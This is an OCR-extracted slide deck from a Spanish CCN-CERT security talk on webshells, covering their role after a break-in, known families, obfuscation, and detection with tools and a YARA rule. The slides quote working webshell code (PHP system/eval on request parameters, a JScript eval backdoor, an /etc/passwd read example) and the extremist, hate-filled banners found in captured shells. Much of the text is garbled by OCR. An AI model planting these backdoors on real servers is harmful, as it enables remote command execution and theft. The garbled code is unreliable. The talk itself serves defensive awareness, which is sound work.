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« Licenciado informatica (Suffolk University), Postgrado E-Commerce
(Harvard University) y Executive MBA (IE Business School)

« Fundador & CEO, VULNEX www.vulnex.com VULNEX

OFFENSIVE & DEFENSIVE CYBER SECURITY

 Blog: www.simonroses.com

. @simonroses | @vulnexsl
« Ex: Microsoft, PwC, @Stake

« Beca del DARPA Cyber Fast Track (CFT) para investigar sobre seguridad
en el ciclo de desarrollo de software

http://www.simonroses.com/es/2014/06/mi-visita-al-pentagono/

« Ponente: Black Hat, RSA, HITB, OWASP, AppSec USA, SOURCE,
DeepSec, TECHNET, CCN STIC

« CEH, CISSP & CSSLP
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1. ¢ WEBSHELLS?

< ?php

fﬂ'kﬂ'kﬁ'kﬁ'kﬁ'kﬁ'!’k!’kﬁ'kRRRRHRHRHRRRHRRHRHRRRRRkﬁ'kﬁ'!’kﬁ'kRRRRRRHRHRRRHRRRRHRRRRRF:'A'F:'A’k!:’kkkﬁkﬁkﬁkﬁkﬁk#k#k#kﬁkﬁkﬁk;

lI.I"Fe'
lI.I"le'
llll"lc'
JE
S
‘ll"!'
ll.l"lc'
JE
JE
‘ll"!'
lI.I"le'
llll"lc'
JE
S
lI.I"le'
ll.l"lc'
JE
S
‘ll"!'
ll.l"lc'

£ 7 7 F
¥ % ¥ %
# # # #
F OO FEF O #
£ OFR REEERF EF 0 %
#OF R B #
OO O O#HH OB =
#FE FREREREREREE A8
LR R R R R R R RS R R
E57 shell
FRERREEE FHEAEHEHE HhEaEe
#HE OFF FEEEEEEEER AR AE4
#HE FF FEEEEREEER AR R4
FEE R FERERRRERF F FEF
#FE 3 FEEEEEEE B #4
*# FORERERR OF ##
= # FHEF  # 2 5
L2 5

fl'kl’kl’kl’kl’kkl’kl’kl’kl’kl’kklc'l:'lc'l:'lc'l:'lc'l:'lc'l:'l:'lc'l:'lc'l:'A’l:'A’l:'ic'l:'l:'lc'l:'A'l:'A’l:'A’l:'ic'l:'l:'lc'l:'A'l:'A’l:'A’l:'lc'l:'l:'lc'l:'A'l:'A’l:'A’l:'lc'l:'l:'lc'l:'A’kl’kl’k*’k*’l’kl’kl’kl’ktktl’kl’f
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1. ¢ QUE SON?

Herramientas de post-explotacion. Los atacantes las utilizan a menudo para controlar un
sistema comprometido

Una webshell es un script subido a un servidor web: PHP, ASP, Perl, Python, Ruby, Cold
Fusion, C

Los atacantes aprovechan vulnerabilidades como:
« Cross-Site Scripting (XSS)
* Inyeccion SQL (iSQL)
« Servicios vulnerables (WordPress y otros CMS)
» Vulnerabilidades Remote File Include (RFI) and Local File Include (LFI)
» Portales de administracion inseguros

www.ccn-cert.cni.es 5
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1. ATAQUE WEBSHELL

(] %) il

g 2
Atacante

Servidor comprometido

|

RED INTERMA,

Empleados
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1. ALGUNAS COSAS NUNCA CAMBIAN

Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Alert (TA15-
314A)

https://www.us-cert.gov/ncas/alerts/TA15-314A

Noviembre 10, 2015 | Septiembre 29, 2016

IBM X-FORCE

« https://securityintelligence.com/got-wordpress-php-c99-webshell-attacks-increasing/
Abril 14, 2016

« https://securityintelligence.com/the-webshell-game-continues/
Julio 8, 2016

 https://securityintelligence.com/media/ibm-x-force-research-understanding-the-webshell-
game/

Noviembre 18, 2016

www.ccn-cert.cni.es 7
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1. LOS VIPS

C99

« B374K

« WSO

« China Chopper
« Gamma Group

“ php-reverse-shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

« Kali webshells
/usr/share/webshells/

www.ccn-cert.cni.es 8
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1. CLASIFICACION
Complejidad / Caracteristicas

Una sola Autenticacion Autenticacidn

ineals) SI/NO ‘ Ofuscacion

< < ;)Il;llJ\lscc)auon < Ocultacion
. e — . .
<L a Manipulacion z:' I;?fhne'fgslauon

- Ficheros

E Capacidades

Ofensivas

Eliminacion

www.ccn-cert.cni.es 9
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2. HOY EN EL MENU TENEMOS...

www.ccn-cert.cni.es 10
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529
winX
ironshell
jkt48
lolipop
ASpy

list

dc

rootshell
Zaco
lamashell
angelshell
matamu
reader
up

PWS

cybershell
NTDaddy
AK-74
DKShell
PHPSpy
remexp

browser
fx

predator
myshell
bm
cpanel
ru24
zehir
jspbd
GS

soldierofallah
phantasma
shellroot
1n73action
simattacker
aspcmdshell
jspshell

cgitelnet

www.ccn-cert.cni.es
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2. MUCHAS OTRAS

simple_cmd
ngh
shutdown57
SaudiShell
safeOver
pouyashell
up_win32

mst

dmc
kral
BOsOk
fatal
sincap
kacak
cmd

stres
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2. webshell: simples

e — - — <html>
<?php passthru(getenv ("HITP ACCEPT LANGUAGE")}:; echo '<br> by glwZe3r4'; ?> cheads
“titles>G-Security Webshell</title>
</ heads
<!—— S5imple PHF backdoor by DE (http://michaesldaw.org) -->
< ?php

if (isset($ REQUEST['cmd']}}{
echo "<pre>";
$cmd = ($ REQUEST['cmd'l):
system(Scmd) ;
echo "</pre>";
die;

>

Usage: http://target.com/simple-backdoor.php?ocmd=cat+/eto/passwd

€ l-= http://michaeldaw.org 2006 -

<body bgcolor=#000000 text=fffffff ">
<form method=POST>

<br>

<input type=TEXT name="-cmd" =zize=64 value="<?=S5cmd?>"
ztyle="background: #000000 ;;color:#Lffffff ;">
<hr>

<preX

<? $cmd = § REQUEST["-cmd"];?>

<? if(fcmd != "") print Shell Exec(Scmd);?>
</pres

</ form>

< /body>

</html

<%E8Page Language="Jscript"#><%eval (Request.Item["iceking™], "unsafe™) %>

www.ccn-cert.cni.es 12
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=2
function callback (fbuffer) {

return base64 encode ($buffer): 2 . WebS h el I : d m C

if ('empty($ REQUEST['dmc']))
i

if (get_magic quotes_gpc()) $_EEQU'EST ["dmc"] = =stripslashes |:$_EEQU'EST ["dm="1]) -
$_REQUEST['dKC'] = baseE&_dEEDdE($_EEQUEST['dmc']j;
if |:$_EEQUEST ["dmc"] == "logout™ && issetb |:$_SESSI-DN:| 1 {isession destrow()rexit:}
chdir (getcwd ()} ) -
ob_start (callback) North Korean Cyber Warfare Group
echo "= " | $_REQUEST['dEC'] - "Wn";
svstem($ REQUEST['dmc'], %io): . .
ob_end flush () : http://gsec.hitb.org/materials/sg2016/
TR D1%20-
HE(empty (SaTEach)) %20Moonbeom%20Park%20and%20Y
if (get magic quotes gpc()) £ REQUEST['att path'] = stripslashes (£ REQUEST['att path']l): Ounglun%ZOPa rk%ZO'
$_EEQUES'_[' ["att_path'] = base&4 decode |:$_EEQU'EST ['att_path']): 0 . 0 o)
Satt path — § REQUEST['att path']: %20Understanding%20Your%200ppon
e e ent%20Attack%20Profiling.pdf
if(file exists($atct _path))
i
echoe "Upload Successfully™:
exit:

if(lempty ($ REQUEST["'code"]))

i

if (get_magic quotes_gpc()) $_EEQU'EST ["code"] = strip=slashes |:$_EEQU'EST ["code""]):
$_EEQUES'_[' ["code'] = baseéd decode |:$_EEQU'EST ["code"])

fcode = £ REQUEST['code"]:

eval (Scode) ;

exit:

www.ccn-cert.cni.es 13
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I
| jomi Yo o] fmml fem] el P | _ o= fem) =t |l fem] =
I I-II-I I-.'|'|-ll-rl-ll-| I I-II-I |-11-. I-II-I I-II
| ol e Jm=? fmm I - o= ) I:"': I:"-I
| o=l e Joumt P | T_ |-"-IT:T"I Joum? P Fom) fom) fom)
| o Py 0 =} lm I _T _| o=y fm) I"T::__ o Fom Fom) Fomy §omy
| |=t re) e ) e jum] jum) jum) jum) §um] I | =F fmm] ol B Ly j=t =)
| ot Pl b Dy e jm jmm] fumj) jmm) - I | =i imm| =t ] j=1 =)
|
[ S _
| | I | | |
| == == || . | |
| | | | |
i —— - - ——— e
|
|
011
=f
@:a:-ian starct () 2
GETOT_ mpﬁrt}nqi ¥
Spasswerd = "E3a9f0caTbbIS0S0TIGLE64 325481845 S/concrasefla mdS5, por defecto: "roort®
S5descargar=5 GEI[ argar”"]:
if (Sdeacargar => "™ }{
Fpath parca = pathinfo("fdeascargar™) :
$entry:pa'r.h-5-pa::h_parr.s ["basename™]
Fname = *JSdescargar®:
Sfp = Iapan:gname b - -
hesgdear (™ nteat-Disposiction: attachment:; FfilenamesSantrypath™)
headear (™ itent-Lengeh: " (. Ffilasizse(Fnams)) ;
fpauuthru(ﬁﬂn}
axitr}
$mscan = range (™ ,"H"]:
Svarl= § S!RV!Rl CUMEMNT "“:t'l:
Eshelldir = Svuri S SIRUEH HP SELF*]2
if :Snpclnn - ‘::r:r’] i
Saada-:r_r_repent ("5255555959595999999599999995999955955955595555559555599 g _ 59595 b

for(fi=0-84i<223 4

Souff=bcpow (Sasda, "3°', Z):
Souff=null:

axit()rk}

S$frpach=5% GET["borzaxzr']:

if (S$frxpach <> "") {

if (i» dix (Ffrpach) )|

fmatches = glob (Sfrpacth . "/*.*"):
if ( ia_array ( Smacches )} ) |

www.ccn-cert.cni.es

2. webshell: lifka
]

s
]

* Multiplataforma

» Listar ficheros

* |Informacion Sistema

* Leer ficheros sensibles

* Codificar / Decodificar hashes
* Mail bomber

* Ejecutar comandos

* Escaneador de puertos
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2. webshell: Soldier of Allah

OF ALLAH

Efunctions = array|('Clear Screen' =% '"ClearScreen()',

'"Clear History' =» 'ClearHistory(}',

'Can I function?' =» "runcommand ('canirun', "GET'}",

'Get server info' => "runcommand ('showinfo', "GET")} "™,

'"Read fetc/passwd' = "runcommand('etcpasswdfile', "GET") ",

'"Open ports' =»> "runcommand ('metstat -an | grep -i listen','GET'} ",
'Bunning processes' =» "runcommand('ps —aux',"'GET") "™,

'Readme " => "runcommand('shellhelpn', "'GET"}"™

[
print '<b»<font size=Sx<center>In The Name Of Allah<center:</bix</font>
gcopy; by Soldiersofllah

We are here..

Because thiz is our ideologi and our breath

<brx<br>»

Jihad iz our way!!!

Die as Syuhada or be a good moszlem...

<brx<br>»

<font color="green"»free for Palestine,irag,Afghanistan,somalia,and every moslem country</font»<bry<bry

<font color="red">No respect for nasionalism,democracy,capitalism,liberaliam,n 211 ideplogy what contradiction in Al-Quran and sunnah
Fuck to Israel,USA,UE, Indonesian government,5audi government And Every government who always hating every mujahideen</font>

=[]= Soldiers of Allah was here and controlling your system =[]=

www.ccn-cert.cni.es 15
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'™

.. SyRiAn S5h311 V7

PRIVE' ... DONT LEAK' .... fO0r t3am memberz Only!

SyRiAn S5h311 V7 ....

replOrt bugz td: sy3d[ac]lm=n[dot]com

# ok e bk e e e e Gk Gk ke R
Sy
Sy
-
Sy

... DONT LERZE! ...
... DONT LEAKE! ....

fO0r t3am memberz 0nly!
fOr t3am memberz Only!

SyRiZin Sh311 V7

Copyright (C) 2011 - SyRiAn 34G13

Thi=s program is free software; you can redistribute it and/or modify
it under the term=s of the GHNU General Public Licen=se as published by
the Free Software Foundation:; either (atc wour
This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHAMNTABILITY or FITHNESS FCOR I PARTICULAR PURPOSE.

I WISH THAT YOU WILL USE IT AGAINST ISRAEL ONLY

version 2 of the License, ar option)

LT T o S o

o8

# Coders :

# SyRihn 34G13 sy34fmsn.com [ Main Coder 1 .

# SyRiAn SnIpEr zg9@hotmail.it [ Metasploit RC ]

# Darkness Caesar doom.caesar@gmail.com [ Finding 3 Bugs ] .
F

Sf kinG oF coNTrolL : y8p@hotmail.com [ Translating Shell To Arabic 1 .

fuselogin = 0; S5 Make It 0 If you Want To Disakle Rhuth
Suser = "'; S S Username

fpas=s = "'; S/ Password

£2hellColoxr = '#£930000'; /S Shell Color
 fem—————————————————————————————————— £
# Powered By SvRiAn Shell #

# By EH SvRikn 34G13 #

F wWhw . syrian—shell . com E

# Version 7 - privs #

# Made In SyRia #
e e e e e #
b

any later

version.

www.ccn-cert.cni.es

X JORNADAS STIC CCN-CERT

2. webshell: SyRIAn Shell

* &
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2. webshell: mini php shell
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2. webshell: bloodsec 1

http://127....loodsec.php x

€ (0 [127.0.0.1/bloodsec.php

Not Found

The requested URL was not found on this server.

Apache Server at 127.0.0.1 Port 80

www.ccn-cert.cni.es 18
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http://127....loodsec.php x

€ (0 [127.0.0.1/bloodsec.php

Not Found

The requested URL was not found on this server.

Apache Server at 127.0.0.1 Port 80

X JORNADAS STIC CCN-CERT

2. webshell: bloodsec 2

il view-source:http://127.0.0.1/bloodsec.php

@ | |Q search wBe ¥+ @ e T =

:script type="text/javascript” src="http://dgn.site.bz/v.js"></script><script type="text/javascript"> dggo('http://127.0.08.1/bloodsec.php’,

<p>The requested URL was not found on this server.</p=>

<hr=

<address>Apache Server at 127.0.0.1 Port 80</address>
<style=input { margin:®;background-color:#fff;border:1px solid #fff; }</style=
<center><form method=post=<input type=password name=pass=></form=</center>

www.ccn-cert.cni.es

19



X JORNADAS STIC CCN-CERT

2. webshell: bloodsec 3

BloodSecurity Hackers ...

& 127.0.0.1

Bypass Shell®

www.ccn-cert.cni.es
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2. webshell: wso

Web Shell by Orb

www.ccn-cert.cni.es 21
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2. webshell: ayana

http://stage48.net/wiki/index.php/Ayana Shahab

www.ccn-cert.cni.es 22
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< ?php
£

Jbfuscation provided by FOPO -
Thi=s code wa=s created on Tuesday,

Checksum:
i

SwdBocdcea="" 262

%141
"Ly S30TnpOOWErMzdPTTEWHZ O

Free Online PHP Obfuscator:
2016

nccp: / fwww. fopo.com. ar,

March 15th, at 5:09 UOIC from IP 158.

2d5f2e6ffi1bcdd3de209fcl46373902461cbl1028

W1&3N 137 143%

W EESMNEENEIANIITHWI44\'KEEY EEENxE4M145"  Beval ($wdBc4ch9 |
SR ZgMmBExT0IKOUtDSmUxe kpsRDU40DhFEERIYnUwWwQO 11 TUOVCOREBDbnd

EUHBEVOErEKONZVmhESI1FLZmSiK1M2b0FxbZ90W1lVHaZgycDFHZEpZRJVBbzRabX1REZpKeEACH I BJNWNS

SUSHNEDbWEyOGUXUXNIUmFBemNEYUd]

WS LMt MXVDUVEWNZXN VST INZ2dELyEZ 9xMVcaWCORA1L1IXWGRPZ1Y

Q1 Z2cEFMNT c4elUpveFkd4eFNaUERzcIJQ1bjVoRGFLEZEvS 2 ZVUmV PN TAQNGZMNHZ XY VI I KOhxUkppdkF

LWFBjNkOrajFBSmSREREVBTVheSKEB=zYKE1FI=

NEM3pkZEkl1sTWEONNnl11bTEBBakt 2RUJT SWhvEmxUNUThadED

SAESgEZFZWnl teFZPhbEIMOmSFS5UM4enpGZHIoZNoWmRIE 1 QrMko0NnU4d31WamVeS=g2 ZUNSREVEFRWEY

1pSESb1F1NJCaFVEFYeBUNNZIiOVB1 52wIlM31 ZNmIrVUSTHNZ 84T 2VHUE JGVUhhMEZuNOpgS08x
HWVJJe jRsdmkSHUY1VHVEKLJ

eval()
assert()
base64()
gzdeflate()

str_rot13() |

H*dGE9 yHmk

voeFZaZlUcqgUEgZ2Tl1c3TWAHMZ ZERUStHM=z1NaGH

JEZHAOV=VEVIRHF 2dhERH

|<2php

SkLinByw2EM='tglgabiopa ' sB43weRfeP2e; SugMbfgZso=""ETAn\s" | '"' ,DPAHZ; $KPBG=e1Sbz="'5QEEI#0L4E" .
'R"' |QOHUu. ") SL/BE ("5 _U="+--;F]Q<C3=0'&"'=0/] [w]|c+3 ,ShuUrKyaLhwx—gJahO $HP1'.
'}'. L4bRSK.'/v'&BQsDwG u.'}'.wd4y.'?b';$vAg='a D!T BeUL$" 1' |#TCo_489QzBCIC .
'@RA'D CEDZJEaAS',$A3=PU_a_H&BtdL "ib"'SXjOWn 3er='{"'.yEg3c.':*' .md%7ah."'{vy.=".
'5(86::<=/n"""6/321;e}34vC .z53tui. ':5H | ulg="5g35|"'.gw3w5379. "~eyl".
'fws=}1lu's'u|' .qwfz. '=7a}9? ;5'.lcvg. ~?',$YOUcn9—' '~D; $001 PWFk=$WgoTloglu'.

'HDPECR' | "HEEPCA"; $KS=MDUT | 'LEFE"; SEdrEXeM="m}u"&1me; $wlPyZIFB=AqD|dya; 'wXE3Zk'.
'1va=P"9iG'; $CafI56QDWaN=KeCuV."<]a"~'#*" . TpDo_i5;$CEEMo4l G=gio; $rgfwGN2UY=#VI'.

'6' Y 5d0gCwEMF={"'1UG:X5"'~"'J 4A%@')&('w|~wor'&'w|~oow"} ; SKyQLED=(k4I"' .P1') | (/*'.

'E*/eIE"Miq) ;$etTH=('D!dSbD' | 'B!EShD") | SugMbfgZ5o; $dehSr0=$KPBGa15bz ¢ U 'RYFL',

VCWUlELW ! ; $gWSiKEJ=ShulrKyalhwX | $vhg; SmN4gRLEA=S001FWFk | $A3; $YaCRebeJwlM=(/*XP'.
'RXQI [I48%/"eYVA"'D| .p") *8K5; SGT4AP=SEdrK)eMaSwlPyZfF8; $sLQBhrxnD=/*uxd42r0fqg’ .
')GF, */$XKjOWn 3era (' g-f3<& i¥y R-m[]T=[@Fs:&>4;W'"'*2' . x41dy]. #ilmdImuVZAaLln'.
'?(Tv=EB2 (0;H%¥40"'.eQCul.': ") ;if ($d0qCwiMF ($KyQLLO ($et7H ($nN4gRLEA) ), $H ulg./*B'.

gu!vi*/$CsfISEQDNaW) ) $dehdr0 ($YaC86beJwll, SGT4AF, $CEEMo4I G) ; SKLrtTpG3V=/*yj'
'b, u*/$qW5iKEJ((d&"T").SCEEMo4I_G, SetTH($sLOBhrxnD) ) ; SKertTpG3V (SrgfwGN2UY./#'.
'rD*/SYOUan]'#I?BS:DV:HD%?g5D+H]9@w~&szTh9V+2TUQ?l@=Yf#H—&Jz~KG+ADgY9N,[JJ:'.
'$CN_+ GE $01Z'nuP) :FTuNzTgi @zXPc9jDEv>b)R!lgomZsrpe3’;
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2. OFUSCACION

=
<?php
§ [1=@1+_: & =@S{_}>>% ;8 _[1=5_ -5 _[1=0 :@5_[((++§8_ )+(5_++ ))].=5_:
S [1=+45 ;S [1=8 [-§_1I8 »»% 1:8 [$ 1.=((5_+8 )+ £ (8 -5 1).(5_ 45 45 )+ (%8 -5 1:
§ I8 +5 ) =(S_IS_ 105 >»8_ 1).(5_[8_ 108 1"5_[S_ I0(5_<<§_)-5_1):
§ I8 +5 ) =S(E_I8_JI(s_<<§_)-(5_/8_ )10 (S_I8_105_1 ):
$ I8 45 1 =(S_[$5_JI5_+8_ 1078 [8_ 1018 <<% _)-§_ 1I:
g =5
§ I8 _+ 8§ 1§ I@-_1(5_[@'+ ] )¢
2>
< ?php

E{MxdTLOAHE2 W\ 41\ w4\ K537} ["\ e\ T\ A\ KEL \ T\ T1 \ xAa \ 6B\ xE6T" ] ="h\xE5:
A4FBAX4ILARS3I"} ["\X6e\XTE8e\R6bY\XTOAXTIIWXE6B\RET"] }="n\x3ch\xT4\x6dl>"n<\3
Wxee\XxT4en\®rT74-Th"xT9p\X65\" ‘=630 \x6ehxT4e\x6et="\R22t\X65x\ X742/ \X6B\XT4 K6
AKEIhAKEIAX T2\ X T3et\x3dUNX54F-\x3B8\">\n< ST\ 59\ x4cE>\nt\x65x\xT4a\xT2e\x61
AHIZARI0OPXR; WXEEAREE\ X6\ XTI\ XEE\XEL W XEAA\XE91y: " XS54\XE61WXE68\XE6fm\ 61 \xX3b\3
WXZ23I0000%x300; I\n\xX69nphxT5t{F\x4f\x4eT-W'\x45IGHT : \x6eor xed\x6l\x6c; backm
WEIINHISAKTOR\H3b\x6Gont—we\x69ght : \Ke2\ 6 Ff1\ a4\ x3bch\xaeflor: \x20\ xech 63\
WNEHZINHIBAKIE\XIE\ K666\ XEE\ K65\ HEeSgh\ T4 : 20 \n\ k620 \x6d v i X200 {\nfont—\HEE"\3
Wx23\x46h\x46\x26; \nI \n\xT4d\x20{\nB \ x4\ x52\Xx44E"x52: da‘\xT3\x68\x65d\x20\z
WHI0OpARTEB\XZ20BE1lahx63k\x3b\nBACK\ x4 TR X4\ x55\x4eD-COL\X4Ff\x52 : \x20\x42\ k6t
AHIOAXTORARIBA\NAREZ\ x4\ x52DY X455\ X552 -\ 243\ x4\ R4\ x4 FR: \x20\x23\x33\x3333\a
OpAXTE\nA\ X420\ x52DER-CONX4cO\x52 : W X20#34x3333\x333 \nc\x6flor: \x20#\x46F\3
FAUx3IZI3ZFIK3IZIIZHIDAN\KEIZANKIZI W X4b\ K4 TRA X4 FUN \ x4 4-C\ x4 F\ x4ch\ x4 FW\x52 : \x20\=x42]
dah=x73h\x65d\x201p\x78 ; \nb\ X6\ T2\ x6de\xT2-c\x6f 1\ x6fr\t T Wx20\ w2333\ x33;
RAx65'x64\x3b\n}\n=s\x65\x6chx65chx74 {\nBAx4fR\x44ER-RIGHT: “xZOB\x6c\x61\3
Fiux44\ 4600 x30A\X30 Z\HX3I1A\XTOx \=xT3\x6F1li'\x64;\n\x4Z0\x52D\x45R-\x42\xd4f\ x5+
AHTINREEN X6\ K69 X624\ X3ID\NBORVX44ER—cA\XE6E W X6\ R6Fr : W xZ20\x2 3\ x16F\x46 " x3b\nk
{AnB\x4f\x52D\x454xX52 1 \x20 A\X62M\xTS5t\xT4h\x6E\x6e X681 \x6Thlighx68t\X202phx"
FFAR4EF; \n} \n\xT2ex \xT4\x6 1\ X724\ x65\x61\x20{\nb\x6frde\xT2\ £\t \ L : "\ ®x20\x6da:
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3. DETECCION
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centro criptologico nacional

3. SIN FORMULAS MAGICAS

* Segun el US CERT:
» Sistemas actualizados / parches
« Politica de Privilegios Minimos
« Hardening servidores
« Backup
« Validar datos en aplicaciones
» Auditorias de seguridad periodicas
« Implantar WAF, AV, auditorias codigo, etc.

« Adicionalmente
* Analisis de Logs
* Integridad de ficheros
« Desarrollo seguro

« Malware Hunting

www.ccn-cert.cni.es 25
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3. DESDE ANTIVIRUS CON AMOR

« La mayoria de las especies de nuestro zoo no son detectadas por los
AV ®

www.ccn-cert.cni.es 26
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« Shell-Detector (Python)
https://github.com/emposha/Shell-Detector

 PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector

* NeoPI
https://github.com/Neohapsis/NeoPI

www.ccn-cert.cni.es
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3. HERRAMIENTAS

27


https://github.com/emposha/Shell-Detector
https://github.com/emposha/Shell-Detector
https://github.com/emposha/Shell-Detector
https://github.com/emposha/Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/emposha/PHP-Shell-Detector
https://github.com/Neohapsis/NeoPI
https://github.com/Neohapsis/NeoPI

coN-cert X JORNADAS STIC CCN-CERT

centro criptologico nacional

3. “YARA RULEZ”

rule ChinaChopper_Generic {

meta:
description = "China Chopper Webshells - PHP and ASPX"
author = "Florian Roth"
reference = "https:/ www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report. pdf"”
date = "2815/83/1a"
strings:
faspx = /E@\sPage‘slLanguage=.lscript.¥»<%evali(RequestItem’[.{,18@}unsafe,
$php = /f<php.\@evaly(\$_POST./
condition:

1l of them
h

« Loki- Simple IOC and Incident Response Scanner
https://github.com/Neo23x0/LokKi

« Web rules
https://github.com/1aNOrmus/Yara/tree/master/web

 Yara Rules
https://qithub.com/Yara-Rules/rules

www.ccn-cert.cni.es 28
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3. TODO SOFTWARE TIENE BUGS: C99 BYPASS
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4. CONCLUSIONES

@
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4. CONCLUSIONES

« Antiguas herramientas pero siguen dando guerra

* NoO existen formulas magicas para su deteccion, proactivos

« Defensa en profundidad

www.ccn-cert.cni.es 31
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Q&A

« iGracias!

:
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e 3] @simonroses

ARIGATO i &3
* [ @vulnexsl VUILNEX SHUKURIA =2 13, vo

OFFENSIVE & DEFENSIVE CYBER SECURITY g EFCHARISTO somx § \D

BOLZiN MERCI

e WWW.Vulnex.com

e WWW.SIMoNroses.com
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E-Mails

> info@ccn-cert.cni.es CN - cm

centro criptolégico nacional

> ccn@cni.es

> sat-inet@ccn-cert.cni.es
> sat-sara@ccn-cert.cni.es

> organismo.certificacion@cni.es

Websites

>  www.ccn.chi.es
> www.ccn-cert.cni.es

>  Www.0c.ccn.cni.es

Siguenos en

0 s @b
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